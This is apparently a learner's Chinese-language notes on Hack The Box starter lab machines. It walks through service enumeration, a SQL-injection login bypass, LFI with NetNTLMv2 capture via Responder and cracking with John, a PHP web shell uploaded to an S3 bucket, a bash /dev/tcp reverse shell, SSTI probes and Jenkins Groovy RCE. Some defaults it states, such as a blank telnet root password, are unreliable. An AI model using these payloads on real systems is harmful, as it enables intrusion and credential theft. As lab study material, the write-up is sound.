txt如果发送过程中某一个路由器出现问题,不如无法发现目标主机位置,这时该路由器就会像源主机发送一个错误报文,这里注意ICMP是包装在IP数据包中的,所以ICMP可以推断出他是一个网络层协议。 这里我们实际上通常使用的比如v2ray中的节点代理协议都是在传输层,而ping使用的协议ICMP实在网络层,所以我们为什么明明使用的代理却还是ping不通google.com的原因就在这里,高层的代理协议无法代理下层,包括shadow shocket和vmess。
我们或许可以使用VPN,建立一个虚拟信道比如openvpn,就可以ping通。
注意23号端口默认是telnet服务的端口。而telnet服务可以直接使用
txttelnet IP port
连接目标服务,往往23和3389分别是远程主机和本地主机的连接端口。并且通过telnet来连接远程主机使用root权限登录时不用输入密码,空白密码即可登录(因为telnet默认的密码是空)。
FTP 表示为file transfer protocol(应用层协议)
通常ftp协议使用20和21端口,20端口用于传输数据,21端口用于控制数据。而ftp实际上监听的端口则是21.
更加安全的ftp协议为sftp,与ssh共用一个端口22.实际上就是SSH file tansfer protocol,利用ssh进行加密传输,
一般我们attack前都需要先进行信息搜集,比如一些服务的版本,好查找对应的cve等等。我们就可以使用nmap -sV 来扫描得到对应服务的版本。又或者我们可以只对莫一个端口上面的服务进行扫描。
很明显,我们得到了对应ftp的版本和OS的type。这对我们之后的操作大有帮助。
默认匿名登陆名是Anonymous,密码随便输。
还记上面我们扫描到是什么操作系统吗/unix
所以我们可以使用ls来查看当前目录下的文件,又比如dir。
如何在ftp服务中下载远程文件到本地呢?get 命令。
txtget example.txt
退出ftp:bye命令
ftp返回码:
220
: 服务器就绪,可以发送登录请求。331
: 用户名正确,需要提供密码。230
: 用户登录成功。530
: 用户名或密码错误,登录失败200
: 命令正确执行。226
: 关闭数据连接,请求的文件操作成功(例如下载或上传文件完成)。250
: 请求的文件操作成功(例如目录改变、文件列表请求成功)。331
: 用户名正确,需要提供密码。350
: 请求的命令需要进一步的信息。421
: 服务不可用,关闭控制连接。这通常意味着服务器已关闭或出现临时错误。425
: 无法打开数据连接。450
: 请求的文件操作未执行,文件不可用或权限不足。500
: 语法错误,无法识别命令。530
: 用户未登录,需要进行身份验证。550
: 请求的文件操作未执行,文件不存在或权限不足。SMB -》 server message block 服务器消息块(应用层协议)
server message block服务端口开在445.
我们可以通过nmap得知一下信息
txt服务版本,以及操作系系统版本。等等
我们可以通过smbclient命令来连接smb服务。使用smb我们应该先查看对应服务器下有哪一些目录:
txtsmbclient -L //10.129.243.11 smbclient -L //ip
然后通过
txtsmbclient //ip/dirname登录
通过L列出的目录我们只有后两个目录可以通过空密码登录。
我们通过nmap -sT的flag来直接扫描所有端口中的TCP端口。
同样的我们直接可以扫出来6379端口上面的是redis数据库服务。(redis默认端口就是6379)
redis是一种内存支持将数据存储在ram中,保持高效率的引用,并且支持将其持久化到磁盘中。(内存数据库而非传统数据库)
我们可以通过redis-cli命令来控制redis
txtredis-cli -h host -p port
通过-h的option来指定特定的hostname -p指定端口
可以通过info来查看redis基本信息
可以通过keys命令查看所有keys
txtkeys *
可以通过keys keyname来查看对应键值。
direction brute-foucing also named dir busting
http 80端口。
gobuster 通过-x type,来指定扫描类型
txtgobuster -u url -w wordlist -x php
mongodb是一款nosql类型的数据库。(文档型数据库)
MongoDB使用称为BSON(Binary JSON)的二进制JSON格式来存储数据,这意味着它是一个文档数据库。每个文档可以包含不同结构的数据,类似于关系数据库中的行,但不需要遵循固定的模式。
txtSQL和NoSQL是两种不同类型的数据库管理系统(DBMS)范式。 **SQL(Structured Query Language)**数据库采用结构化查询语言,通常是关系型数据库管理系统(RDBMS),如MySQL、PostgreSQL、Oracle等。 **NoSQL(Not Only SQL)**数据库则是一类非关系型数据库,它们不采用传统的表格结构,而是使用各种不同的数据模型来存储数据,如文档型、键值型、列族型、图形数据库等
安装完Mongol客户端后,我们可以通过mongo命令来在shell中操作数据库。
基本命令
rsync是一个用于unix系统的同步文件和目录的工具,通过ssh连接。默认端口873
我们可以通过rsync命令与远程桌面环境建立连接
rsync的匿名身份凭证比ftp等协议更加松弛,无需任何凭证
rsync在不知道目标用户名称和目录的情况下,可以使用 --list-only查看目标目录的共享文件
txtrsync --list-only rsync://ip
然后通过以下命令直接下载:
txtrsync rsync://ip/path/to/file sourcepath
下载到本地主机sourcepath路径。
In the second tier, you'll delve deeper into the world of cybersecurity pen-testing, focusing on web exploitation techniques suitable for beginners. You'll discover the basics of SQL injection, Server Side Template Injection, Remote File Inclusion, and gain a grasp of how to use Web/Reverse Shells effectively. Building on the knowledge from the first tier, you'll apply these techniques to exploit various services showcased earlier, ensuring a hands-on understanding of their vulnerabilities.
Additionally, you'll learn how to navigate Jenkins, a popular automation server, to log in and upload a Groovy Shell Script, a valuable skill for penetration testing. Finally, you'll round out your expertise by understanding how to upload files to an S3 Bucket, providing you with a comprehensive range of skills to excel in the cybersecurity field. This tier takes you one step further in your pen-testing journey.
SQL =》 structured query language ,一种管理关系型数据库的标准化查询语言。
我们一般认为apche httpd server是一个免费的开源的应用程序。是最流行的http服务器之一,通常在标准http端口(80,443)或者是8080,8000这样的备用端口(以防止已经有web服务占用了80端口)。
我们通过nmap扫描得知apche的版本为Apache httpd 2.4.38 ((Debian))。【然后就可以上漏洞数据库中查找相应版本的漏洞】,但是该版本并没有实际披露出来的可用的漏洞。
因为nmap扫描出来是由http服务的说明,可以直接页面访问。
我们往往会通过目录导航的方式来寻找机会,而这时候就如gobuster,dirsearch等工具会被需要。这些工具都是低技术流常用的手段,因为他们的缺点都是“嘈杂”,过于明显。
当然往往扫描出来的都是一些无用文件,但是我们任然需要检查以为很可能会有一些错误配置的重要文件。这些都在owasp的top 10中有所表现。
一下我们举一个例子:
php<?php
mysql_connect("localhost", "db_username", "db_password"); # Connection to the SQL
Database.
mysql_select_db("users"); # Database table where user information is stored.
$username=$_POST['username']; # User-specified username.
$password=$_POST['password']; #User-specified password.
$sql="SELECT * FROM users WHERE username='$username' AND password='$password'";
# Query for user/pass retrieval from the DB.
$result=mysql_query($sql);
# Performs query stored in $sql and stores it in $result.
$count=mysql_num_rows($result);
# Sets the $count variable to the number of rows stored in $result.
if ($count==1){
# Checks if there's at least 1 result, and if yes:
$_SESSION['username'] = $username; # Creates a session with the specified $username.
$_SESSION['password'] = $password; # Creates a session with the specified $password.
header("location:home.php"); # Redirect to homepage.
}
else { # If there's no singular result of a user/pass combination:
header("location:login.php");
# No redirection, as the login failed in the case the $count variable is not equal to
1, HTTP Response code 200 OK.
}
?>
注意一点,在php中我们所用的注释符号是#。
还有一点我们可以知道的是,上文中php对我user和password的值是没有进行检验的,没有通过正则或者是函数禁止来防止违法数据写入,而是直接引用:
php$username=$_POST['username']; # User-specified username.
$password=$_POST['password']; #User-specified password.
$sql="SELECT * FROM users WHERE username='$username' AND password='$password'";
# Query for user/pass retrieval from the DB.
$result=mysql_query($sql);
可以看到,usename和password直接嵌入到$sql中去了,然后直接和数据库相关联,进行查询,这是十分危险的。
所以很自然的我们就会想到使用''以及#来将password直接注释,不去比对查询password,这样子只要我们输入了admin就直接在数据库中进行查询,bypass了password。
输入之后:
php$username=$_POST['username']; # User-specified username.
$password=$_POST['password']; #User-specified password.
$sql="SELECT * FROM users WHERE username='$admin'# AND password='$password'";
相当于#后面的部分直接被注释掉。
这里虽然google//和#都可以注释,但是实测发现只有#可以,可能是关闭了//单行注释的功能。
我试过以下:
admin'#
admin'//
admin';#
admin';--
admin'--
综上
使用admin‘#可以绕过,及完成sql注入。
首先扫描端口
shellnmap -sC -sV {ip} 或者使用rustscan快速扫描在使用nmap获得其他细节
我们可以同过上述方式快速获得有关于远程服务器上的开放端口的信息以及对应端口上面的服务的信息。
很明显我们扫出来的3306端口上面开放着一个mysql服务,接下来我们就可以尝试去链接这么一个mysql服务。同样的他的root用户默认密码为空,所以如果我们运气好的话,是可以直接连接的。首先我们需要确定自己主机上面拥有mysql command client。
shell安装:sudo apt update && suao apt install mysql*;
安装完成之后我们直接可以通过host连接:
shellMySQL -h {host/ip} -p port(默认为3306)-u {username}
使用root用户连接之后,我们可以直接对数据进行访问。
show databases; | 将我们可以获得的数据库显示出来。 |
---|---|
use {databse_name}; | 进入某一个数据库。 |
SHOW tables; | 显示当前数据库中的所有表。 |
select * from {tables_name} (where ...); | 选择我们先要的数据,并显示。 |
注意这里所有的操作都需要末尾给上分号;不然不会被认为是一个完整的语句,也就不会被执行。 |
注意我们使用show databases之后显示出来有四个数据库。其中那个第三个是在所有mysql中都会有的默认的数据库:
information_schema |
---|
mysql |
performance_schema |
我们可以看一下这些数据库中存放了哪一些东西:
information_schema | 这个数据库包含了关于数据库服务器、数据库和表的元数据信息。它提供了访问数据库结构的方法,包括表、列、索引等的元数据信息。通常情况下,用户无需直接操作该数据库,但是它在数据库管理系统内部起着重要的作用。 |
---|---|
mysql | 这个数据库包含了关于 MySQL 数据库管理系统的用户权限和其他系统级信息。它存储了用户账号、权限、密码等信息,用于管理数据库用户的访问权限和其他系统设置。通过修改其中的表可以实现对用户权限的管理和修改。 |
performance_schema | 这个数据库包含了关于数据库性能的信息。它提供了数据库服务器的性能指标、资源利用情况等信息,可以用于监视数据库服务器的性能状况,进行性能优化和故障排除。该数据库提供了大量的性能监视表,用于收集和展示数据库服务器的性能数据 |
我们可以关注一下mysql中的user表:
可以看到密码被直接放在了这里。
先使用nmap或者rustscan扫描:
我们可以看到许多有用的信息:
我们使用
shellftp ip
连接远程服务;
可以看到两个文件,我们通过get方法获取这两个文件之后可以发现实际上这两个文件存放的是允许登陆的登录名和对应的密码:
然后我们通过开放的http端口进入web页面,可以看到有一个web服务:
但是实际上我们在点击上面的get start按钮并没有弹出登录页面,那我们实际上得到的登录用户和密码也就没有用武之地了。我们必须找到一个可以输入username和password的页面。
而这个页面很可能就是一个shadow页面,被隐藏起来了。这时候我们就需要使用类似gobuster来扫。
可以看到确实有一个login.php的页面可以登录。
我们直接导航栏输入,来到这个页面:
然后这些给出来的用户和密码实际上只有一个是有用的:admin那个。
这时候其实如果list很多的话,我们可以使用bp进行匹配爆破。但是这个很少就手动了。
可以看到flag已经有了。
然后我们来看一下官方的WP
给出了详细的ftp用法;
官方给出了一个插件:Wapplayzer来查看页面使用的架构,指纹。
我们确实可以通过这样一个插件直接获取对应的架构,可以看到实际上使用了php,这也就是为什么我们使用gobuster爆破的时候选定了固定的类型php。
并且提供了一种在list过长时候的解决办法:
使用metasploit framework。
Windows 因其易于使用的图形用户界面而成为当今世界上最主要的操作系统。约 85% 的市场份额已成为攻击的关键操作系统。此外,大多数组织都使用活动目录来建立其 Windows 域网络。微软采用 NTLM(新技术局域网管理器)和 Kerberos 提供身份验证服务。尽管存在已知漏洞,但 NTLM 仍被广泛部署,即使在新系统上也是如此,以保持与传统客户端和服务器的兼容性。本实验室将重点介绍如何利用 Windows 机器上提供的网页上的文件包含漏洞来收集运行网络服务器的用户的 NetNTLMv2 挑战。我们将使用名为 Responder 的实用程序捕获 NetNTLMv2 哈希值,然后使用名为 john the ripper 的实用程序测试数百万个潜在密码,看它们是否与用于创建哈希值的密码相匹配。我们还将深入了解 NTLM 身份验证的工作流程,以及 Responder 实用程序如何捕获挑战。我们认为,了解工具或框架的底层工作原理至关重要,因为这可以加强理解的基础,从而有助于应对现实世界中可能面临的漏洞利用场景,而这些场景乍一看并不脆弱。
我们先扫描端口:
Nmap 如何确定端口上运行的服务?
Nmap 使用知名服务的端口服务数据库来确定在特定端口上运行的服务。随后,它还会向该端口发送一些特定于服务的请求,以确定服务版本及有关它的任何附加信息。 因此,Nmap 对特定端口的服务信息大多是正确的,但并不总是正确的
根据 Nmap 扫描结果,该机器使用 Windows 作为操作系统。检测到两个端口打开,其中 Apache 网络服务器运行在 80 端口,WinRM 运行在 5985 端口;
Windows 远程管理(或 WinRM)是 Windows 内置的远程管理协议,基本上使用简单对象访问协议与远程计算机和服务器以及操作系统和应用程序进行交互。WinRM 允许用户..:
作为一名五步测试员,这意味着如果我们能找到拥有远程管理权限的用户的凭据(通常是用户名和密码),就有可能在主机上获得 PowerShell shell。
因为这题启用了域名,会将ip地址解析到域名,所以我们无法直接访问到域名对应的地址,这时候我们需要手动调整我们主机的hosts来绕过DNS解析
shellcat /etc/hosts echo “{ip-address} {domain——name}” | sudo tee -a /etc/hosts
echo "{ip-address} {domain-name}"
:使用 echo
命令输出 {ip-address}
和 {domain-name}
之间的空格分隔的字符串。|
:管道符号,将 echo
命令的输出传递给下一个命令。sudo tee -a /etc/hosts
:使用 sudo
权限执行 tee
命令,-a
选项表示追加模式,/etc/hosts
是文件路径。tee
命令会将管道符号左边的数据同时输出到屏幕上和指定的文件中。我们注意一下语言页面是如何引用的:
直接通过page=来引用,这里可能会有本地文件包含漏洞。(LFI)通过get/post等方法的参数来包含页面的方式就会可能有LFI漏洞。
动态网站利用 HTTP 请求中的信息,包括 GET 和 POST 参数、cookie 和其他变量。一个页面根据这些参数 “包含 ”另一个页面是很常见的。 页面 “包含 ”另一个页面是很常见的。
如图所示,我们可以看出来LFI已经实现了,但是这究竟是怎么实现的呢?
这是因为我们之前看到了该网站使用php写的,而后端使用php的include方法来处理URL页面的参数,而没有对页面参数进行合适的清理。
phpFile 1 --> vars.php
<?php
$color = 'green';
$fruit = 'apple';
?>
#############################################
File 2 --> test.php
<?php
echo "A $color $fruit"; // output = "A"
include 'vars.php';
echo "A $color $fruit"; // output = "A green apple"
?>
可以看到在include前后同样的语句输出的不一样。
我们知道这个网页存在文件包含漏洞,并且是在 Windows 机器上提供的。因此,在攻击者的工作站上存在包含文件的可能性。如果我们选择 SMB 等协议,Windows 就会尝试对我们的机器进行身份验证,我们就可以捕获 NetNTLMv2
NTLM 是微软创建的一系列身份验证协议。它是一种挑战-响应 身份验证协议,用于验证客户端是否可以访问 Active Directory 域中的资源。 它是单点登录(SSO)的一种,因为它只允许用户在登录时提供一次底层身份验证因素。 只需在登录时提供一次。 NTLM 身份验证过程按以下方式进行:
有关于NTLM身份验证的属于非常混乱,我们来定义一下下面这些关键术语:
散列函数是一种单向函数,他接受数量的数据并返回一个固定大小的值。通常他的结果被称为hash,digest或者是fingerprint。常被用来使用存储密码更加安全。当你向网站提交密码时,服务器会对你的输入进行散列处理,并将其与存储在数据库中的hash值匹配,如果匹配成功,他就知道你输入的密码是正确的。
NThash使用于在windows系统的SAM数据库和域控制器中存储的密码的算法输入。通常被称为NTLM哈希,或者只是NTLM,这将非常容易引起误解或者混淆,当NTLM协议要通过网络进行身份验证时,他会使用如上所述的challenge/response这通常被称为NetNTLMv2哈希值,即便实际上他并不是哈希值。
- NTLM(NT LAN Manager):NTLM 是一种 Windows 认证协议,用于在局域网环境中进行用户身份验证。它是早期 Windows 系统中使用的主要认证协议之一,通过在客户端和服务器之间进行挑战-响应的方式来验证用户身份。NTLMv1 和 NTLMv2 是 NTLM 协议的两个主要版本,NTLMv2 比 NTLMv1 具有更高的安全性,提供了更强的保护措施,例如防止中间人攻击和数据重放攻击。
- NTHash:NTHash 是 Windows 中用户密码的哈希值,它是根据用户密码计算出来的一种哈希值。NTHash 通常用于在 Windows 系统中存储用户密码的哈希值,以便进行身份验证。NTHash 是一种单向哈希函数,不能通过哈希值反推出原始密码。
- NetNTLMv2:NetNTLMv2 是 NTLMv2 协议中的一部分,用于在网络中进行用户身份验证。它是 NTLMv2 协议的一种改进版本,提供了更高的安全性和更强的保护措施,例如使用 HMAC-MD5 进行更强的加密,防止中间人攻击和数据重放攻击。
总的来说,NTLM 是一种 Windows 认证协议,NTHash 是 Windows 用户密码的哈希值,而 NetNTLMv2 是 NTLMv2 协议中的一部分,用于在网络中进行用户身份验证。这些技术在 Windows 网络安全中扮演着重要的角色,尤其是在用户身份验证和访问控制方面。
在 PHP 配置文件 php.ini 中,“allow_url_include ”封装默认设置为 “关闭”,表示PHP 不会加载远程 HTTP 或 FTP URL 以防止远程文件包含攻击。不过,即使allow_url_include 和 allow_url_fopen 设置为 “关闭”,PHP 也不会阻止加载 SMB URL。 在本例中,我们可以滥用这一功能来窃取 NTLM 哈希值。
Responder 可以实施多种不同类型的攻击,但在本方案中,它将设置一个恶意 SMB服务器。当目标计算机尝试对该服器进行 NTLM 身份验证时,Responder会向服务器发送一个挑战,要求服务器使用用户密码进行加密。当服务器作出回应时、Responder 将使用挑战和加密响应生成 NetNTLMv2。虽然我们不能逆转 NetNTLMv2,但我们可以尝试许多不同寻常用密码,看看是否有任何密码会生成相同的如果找到了,我们就知道这就是密码。这通常被称为哈希。我们将使用一个名为 John The Ripper 的程序进行破解
我在本机使用openvpn来构建responder失败,未找到原因。所以我在pwnbox中打完了剩下的部分:
先使用responder获得了NTLMv2hash值,然后,我们通过john来爆破匹配只一个hash。
shelljohn -w=/etc/share/worldists/rockyou.txt hash.txt
成功爆破:
这里似乎只能使用w=来引用字典,不然你会报错。
然后通过powershell或者linux上面的win-rm来远程连接登录。
拿到flag:
在这个box中我们可以发现,这个网站的主要攻击点就是它使用了这一个aws s3作为website的储存桶。因为他的错误配置,导致我们可以直接登录,不需要鉴权。
一般来说,我们都会有一个ip地址对应一个域名,我们可以通过网页中查询有关的线索,实际上,我们再contract中可发现该网站的domainname。这样我们就可以对着一个ip地址添加hosts来绕过解析。
子域名是添加到网站域名开头的一条附加信息。它允许网站将特定功能(例如博客或在线商店)的内容与网站的其余部分分开和组织。例如,如果我们访问 hackthebox.com,我们就可以访问主网站。或者,我们可以访问 ctf.hackthebox.com 来访问网站上用于 CTF 的部分。在本例中,ctf 是子域,hackthebox 是主域,com 是顶级域 (TLD)。尽管 URL 略有变化,但您仍然位于 HTB 域名下的 HTB 网站上。通常,不同的子域会有不同的 IP 地址,因此当我们的系统查找子域时,它会获取处理该应用程序的服务器的地址。也可以让一台服务器处理多个子域。这是通过“基于主机的路由”或“虚拟主机路由”来完成的,其中服务器使用 HTTP 请求中的主机标头来确定哪个应用程序要处理该请求。由于我们有域 thetoppers.htb ,让我们枚举同一服务器上可能存在的任何其他子域。有不同的枚举工具可用于此目的,例如 gobuster 、 wfuzz 、 feroxbuster 等。在撰写本文时,我们将使用 gobuster 使用以下命令进行子域枚举。我们将为 gobus ter使用以下标志。
主域名和子域名通常情况下ip地址是同一个。
我们就可以使用gobuster中的
shellgobuster vhost -w /usr/share/wordlists/seclists/Discovery/DNS/top5000.txt -u http://domainname
通过vhost来指定特定的虚拟主机,因为一个物理主机上面可能部署了数个虚拟主机,所以为了指定特定的主机服务,我们需要使用vhost来固定他。
我们可以发现我们美剧出来的子域名是什么
shells3.thetoppers.htb
我们google以下就可以发现,这是aws的一个云服务,用于存储各种数据的桶。
我们可以使用awscli这一个命令行工具来控制。
shellsudo apt install awscli
首先我们需要配置一下我们的awscli
因为直至是一个靶场,并且没做任何的防护措施,所以我们只需要随意配置一下,就可以。
我们先列出当前服务器托管的所有s3存储桶:
shellsudo aws --endpoint=s3.thetoppers.htb s3 ls
这个命令是使用 AWS CLI(命令行界面)访问 Amazon S3 服务,并列出存储桶(buckets)的命令。在这个命令中,aws
是 AWS CLI 的可执行文件名,s3
是指定要访问的 AWS 服务,ls
是列出存储桶的操作。
参数 --endpoint
用于指定 AWS S3 的终端节点(endpoint),即要访问的 S3 服务的地址。在这个例子中,s3.thetoppers.htb
是 S3 服务的终端节点地址。
通过 s3 ls
命令,它会尝试连接到指定的 S3 服务,并列出所有的存储桶。需要注意的是,这个命令可能需要适当的 AWS 身份验证和权限来执行。
我们还可以列出指定桶下的对象和常用前缀。
aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
这个命令是使用 AWS CLI 访问指定的 S3 存储桶,并列出存储桶中的对象列表。在这个命令中:
aws
是 AWS CLI 的可执行文件名。--endpoint=http://s3.thetoppers.htb
是指定 S3 服务的终端节点地址。s3
是指定要访问的 AWS S3 服务。ls
是列出存储桶中的对象列表的操作。s3://thetoppers.htb
是指定要列出对象的 S3 存储桶的路径。这个命令的作用是列出名为 thetoppers.htb
的 S3 存储桶中的对象列表。请确保在执行此命令之前,你具有足够的权限来访问该存储桶.
我们在指定的存储桶中看到文件 index.php 、 .htaccess 和一个名为 images 的目录。这似乎是在端口 80 上运行的网站的 webroot 。因此,Apache 服务器使用此 S3 存储桶作为存储。AWSCLI 还有另一项功能,允许我们将文件复制到远程存储桶。我们已经知道该网站使用的是PHP。因此,我们可以尝试将 PHP shell 文件上传到 S3 存储桶,并且由于它已上传到 webroot(网页根目录) 目录,我们可以在浏览器中访问此网页,从而执行此文件,我们将实现远程代码执行。我们可以使用以下 PHP 单行代码,它使用 system() 函数,该函数将 URL 参数 cmd 作为输入并将其作为系统命令执行.
php<?php system($_GET["cmd"]); ?>
我们将其写入文件并上传,注意aws服务允许我们将本地文件上传到云服务上,这里是因为我们从上面列出的文件中可以退的推断出实际上这一个s3存储桶实际上是运行在apach服务上的。而且这个网站又是由php编写的。
shellecho '<?php system($_GET["cmd"]); ?>' > shell.php;aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb
所以我们可以使用这样的方式来执行文件上传。
所以我们就可以利用这样一个文件上传漏洞来反弹shell
shell#!/bin/bash
bash -i >& /dev/tcp/<your_ip_address>/<defport> 0>&1
这是一个Bash反向Shell命令。它的作用是将bash的标准输入和输出重定向到指定的IP地址和端口上,实现远程访问和控制。具体解释如下:
bash
: 这是启动Bash Shell的命令。-i
: 表示以交互式的方式启动Bash Shell,这意味着用户可以与Shell进行交互,而不仅仅是执行一次命令后退出。>& /dev/tcp/<YOUR_IP_ADDRESS>/1337
: 这部分是重定向的关键。/dev/tcp/<YOUR_IP_ADDRESS>/1337
代表一个特殊的设备文件,它实际上并不存在于文件系统中,但是Bash会将其解释为一个TCP连接。>&
将标准输出和标准错误都重定向到这个TCP连接上,其中<YOUR_IP_ADDRESS>
应该替换为攻击者的IP地址,1337
是攻击者监听的端口号。0>&1
: 这部分表示将标准输入重定向到标准输出,这样可以确保在Shell交互过程中,输入从网络中的连接读取,输出写入到网络连接中
我们将这段代码写到文本中并上传,这样这个文件就会被存放到这样一的s3存储桶中,也就会被我们的url/get方法直接使用。
然后我们
shellnc -nlvp <defport>
来监听之前再文件中写入的指定端口。
然后我们在本地起一个httpserver
shellpython3 -m http.server 8000
这里使用了python自带的一个模块,用于在本地起一个小型的http服务。
然后先利用原本的文件上传漏洞来获取本地的shell文件,也就是上面的bash文件,并执行,促使目标机器主动连接到攻击机,达成反弹shell。
首先这个靶机主要估计也就是密码爆破和DNS方面的一些内容
首先我们nmap出来是有web,http服务的,也就是可以访问页面,但是实际上我们访问呢之后,发现报错,没有DNS解析我们这个ip地址。这时候我们需要知道这个ip地址实际上从重定向到哪一个域名去了。
shellcurl -v ip
通过-v命令查看你curl回来的报文内容,可以发现是有location字段表示实际重定向目标域名的。
然后我们在本地的/etc/hosts文件中手动绑定这一对ip domain
原因:这一我们会提到虚拟主机技术,就是一台主机上会运行不同的web服务,也就是说虽然服务不同,域名地址不同,但是ip地址是一致的。
虚拟主机是一种在单个服务器(或服务器池)上托管多个域名(单独处理每个名称)的方法。[1] 这允许一台服务器共享其资源,例如内存和处理器周期,而无需提供的所有服务使用相同的主机名。虚拟主机一词通常用于指代 Web 服务器,但这些原则确实适用于其他 Internet 服务。
这允许在一个 IP 地址后面托管多个站点的服务器提供正确的站点内容。更具体地说,它意味着设置主机 HTTP 标头,这在 HTTP/1.1 中是必需的。[2] [..]此外,如果域名系统 (DNS) 无法正常运行,即使知道 IP 地址,也很难访问虚拟托管的网站。如果用户尝试回退到使用 IP 地址与系统联系(如 http://10.23.45.67/ 中所示),则 Web 浏览器将发送 IP 地址作为主机名。由于 Web 服务器依赖于 Web 浏览器客户端告诉它要使用的服务器名称 (vhost),因此服务器将使用默认网站进行响应,而通常不是用户期望的站点。
默认的网址往往不是我们所希望的地址,所以这时候我们就必须手动绑定这样的ip domain。
这样之后我们直接访问域名就可以直达我们希望的地址了。
然后常规做法,我们使用gobuster扫描爆破目录,然后正常做法,因为这个网站使用的框架不允许我们爆破密码,那我们只能试一试当年最常被使用的密码,手动尝试。(当然,这也是由技巧的,我们可以先搜索该网页,该服务注册时对密码的要求,比如必须数字加字符,几位等等,这样会大幅减小我们的排查范围。
还时常规的nmap扫描端口,发现22和80端口开放也就是ssh服务和http服务。
这里我们就先不看ssh,因为我们斌没有ssh相关的凭证。
所以我们想登陆网页看看是什么:
我们发限一个输入框,输入试试:
输出显示,在“电子邮件”字段中提交的任何输入都会在页面重新加载后反映回用户。这可能会导致我们思考各种潜在的利用向量,例如跨站点脚本 (XSS),但是,我们首先需要知道网站为其后端使用哪些框架和编码语言。在这种情况下,我们从端口 80 上的 Nmap 报告中对服务器后端进行了很好的概述,但是,我们还可以使用一个名为 Wappalyzer 的有用扩展,它扫描网站并查找网页正在使用的信息,例如:
Web Frameworks JavaScript Frameworks Web Servers Programming Languages Widgets And many more...
Nmap 和 Wappalyzer 都报告说,该服务器是基于 Node.js 构建的,并且使用的是 Express 框架。什么是Node.js?Node.js 是一个开源、跨平台的后端 JavaScript 运行时环境,可用于构建可扩展的网络应用程序。什么是快递?Express 是一个最小且灵活的Node.js Web 应用程序框架,它为 Web 和移动应用程序提供了一组强大的功能
有了这些信息,我们就可以开始识别潜在的利用路径。使用默认有效负载(如 )验证 XSS 漏洞的各种尝试均未成功。因此,我们必须寻找不同的漏洞。Node.js 和 Python Web 后端服务器通常使用名为“模板引擎”的软件。
什么是模板引擎?模板引擎用于在网页上显示动态生成的内容。它们将模板文件中的变量替换为实际值,并将这些值显示给客户端(即用户通过浏览器打开页面)。例如,如果开发人员需要创建一个用户配置文件页面,其中包含用户名、电子邮件、生日和各种其他内容,那么对于使用静态 HTML 页面的多个不同用户来说,即使不是不可能,也很难实现。模板引擎将在这里使用,以及一个包含配置文件页面基本结构的静态“模板”,然后手动填写用户信息并将其显示给用户。与所有软件一样,模板引擎也容易出现漏洞。我们今天要重点介绍的漏洞称为服务器端模板注入 (SSTI)。什么是SSTI?服务器端模板注入是一种漏洞,攻击者将恶意输入注入模板,以便在服务器上执行命令。简而言之,SSTI 是一种利用技术,攻击者将本机(模板引擎)代码注入网页。然后,代码通过模板引擎运行,攻击者在受影响的服务器上执行代码。这种攻击在Node.js网站上很常见,并且很有可能使用模板引擎来反映用户在联系人字段中输入的电子邮件。
SSTI (Server Side Template Injection) | HackTricks | HackTricks这篇文章介绍了ssti的原理和fuzz的方式,并提供了很多相关的工具。
shell{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
我们可以使用这些来检测是否有ssti漏洞,在我们提交{{7*7}}之后我们发现,报错了。从报错信息中我们可以知道,这个web服务使用的是 Handlebars引擎,这样可利用的漏洞范围一下就缩小了。
这里我们可以使用burpsuit来对网页抓包,并捕获post请求与编辑。
emmm之后的下次再写
首先还是nmap扫描端口,过程省略。
后面发现实际上可以通过ssh远程登陆对方服务器,但是实际上斌没有东西。
然后我们看一下本地有什么端口在被监听。
shellss -tln
发现一个5432端口被监听中,进查询该端口为psql数据库的端口,这样我们直接通过本地的命令控制数据库。
但是我们发现在使用psql命令时显示没有安装该command,但是我们没有管理员权限,所以也没有办法安装,那我们呢该怎么解决呢?
我们可以使用ssh的端口转发,
本地端口转发:
shellssh -L localport:localhost:remote_port username@{target_ip}
-L 表示本地端口,连接到远程服务器上的localhost的地址和remote_port端口上,然后是远程服务器的登录用户名和ip地址。
这样我们就可以通过对本地客户端指定的localport进行psql操作,然后会被转发到远程主机的指定端口。
在本题中,我们呢就将localport随意一个,远程port设置为psql在的端口5432,这样在本地安装psql之后,就可以实现流量转发。
shellpsql -h localhost -U username -p 1234
选择本地本地1234端口,就可以实现登录。
当然这里可以动态转发。
然后进入数据库:
\l
\c name
\dt
select * from ... 等操作拿到flag
首先依旧是nmap先收集信息,知道对面8080端口上运行着一个http服务,Jenkins 是一个免费的开源自动化服务器。它有助于自动化与构建、测试和部署相关的软件开发部分,促进持续集成和交付。它是一个基于服务器的系统。
这里我们先介绍几个概念:
CVE
cve 指 Comman vulnerablities and Exposures,也就是常见漏洞和披露。
CIA指的是Confidentiality,Integrity,availablity,也就是机密性,完整性和可靠性。这也是对CVE评级的重要标准。
CVSS值得是CVE的分数,并对CVE划分了0-10各等级,0最低,10最高。平机票准就是上面的和攻击面,攻击危害程度等。
ACE指的是arbitrary code execution,任意代码执行漏洞,而一旦这样的漏洞通过互联网传播,就成了RCE ,arbitrary Remote Code Execution。远程任意代码执行。
之后我们还是一样的现通过httpweb访问页面,发现一个登陆的交互,注意任何的可交互都是重要的攻击面,我们呢这里直接弱密码尝试,或者密码喷射。得到账密为:root password。
成功进入dashboard。
然后我们可以从
Jenkins Security | HackTricks Cloud | HackTricks Cloud
Jenkins RCE with Groovy Script | HackTricks Cloud | HackTricks Cloud
这几个文章得知该平台使用groovy脚本,并且存在RCE漏洞(当然这一切都是建立在我们知道版本后查询现有CVE无果后的尝试)。存在path/script页面可以输入脚本,这里直接给出了远程执行的payload,我们呢只需要再本地执行:
shellnc -lvnp 8000
监听端口就行。
然后执行就可以拿到远程城的反弹shell。
首先还是先Nmap扫描一下,这里我们会发现扫不出来东西,表示主机可能不在线(这里主机指的是具有IP地址的网络设备),那么这里有两种可能,一是主机确实不在线,二就是我们检测主机是否存活的ping探针被防火墙阻挡了,那么这时候nmap认为主机不在线时,就不会继续扫描端口,因为主机不在线没有任何端口会开放。但是这里很明显是防火前阻挡了,所以这里我们呢直接跳过主机存活检测,直接扫端口。
-Pn :绕过主机存活检测
我们可以通过扫描出来的信息得知对方主机445上面有一个SMB服务,server-message-block服务。这里我们直接用默认用户名登录
shellsmbclient -L //{ip} -U Administrator
查看有什么文件。
发现两个共享文件,但只有C 为共享文件的后缀。
我们直接登录就可以拿到flag。
这里我们呢也可以不使用smbclient,可以选择impacket工具中的psexec.py工具交互
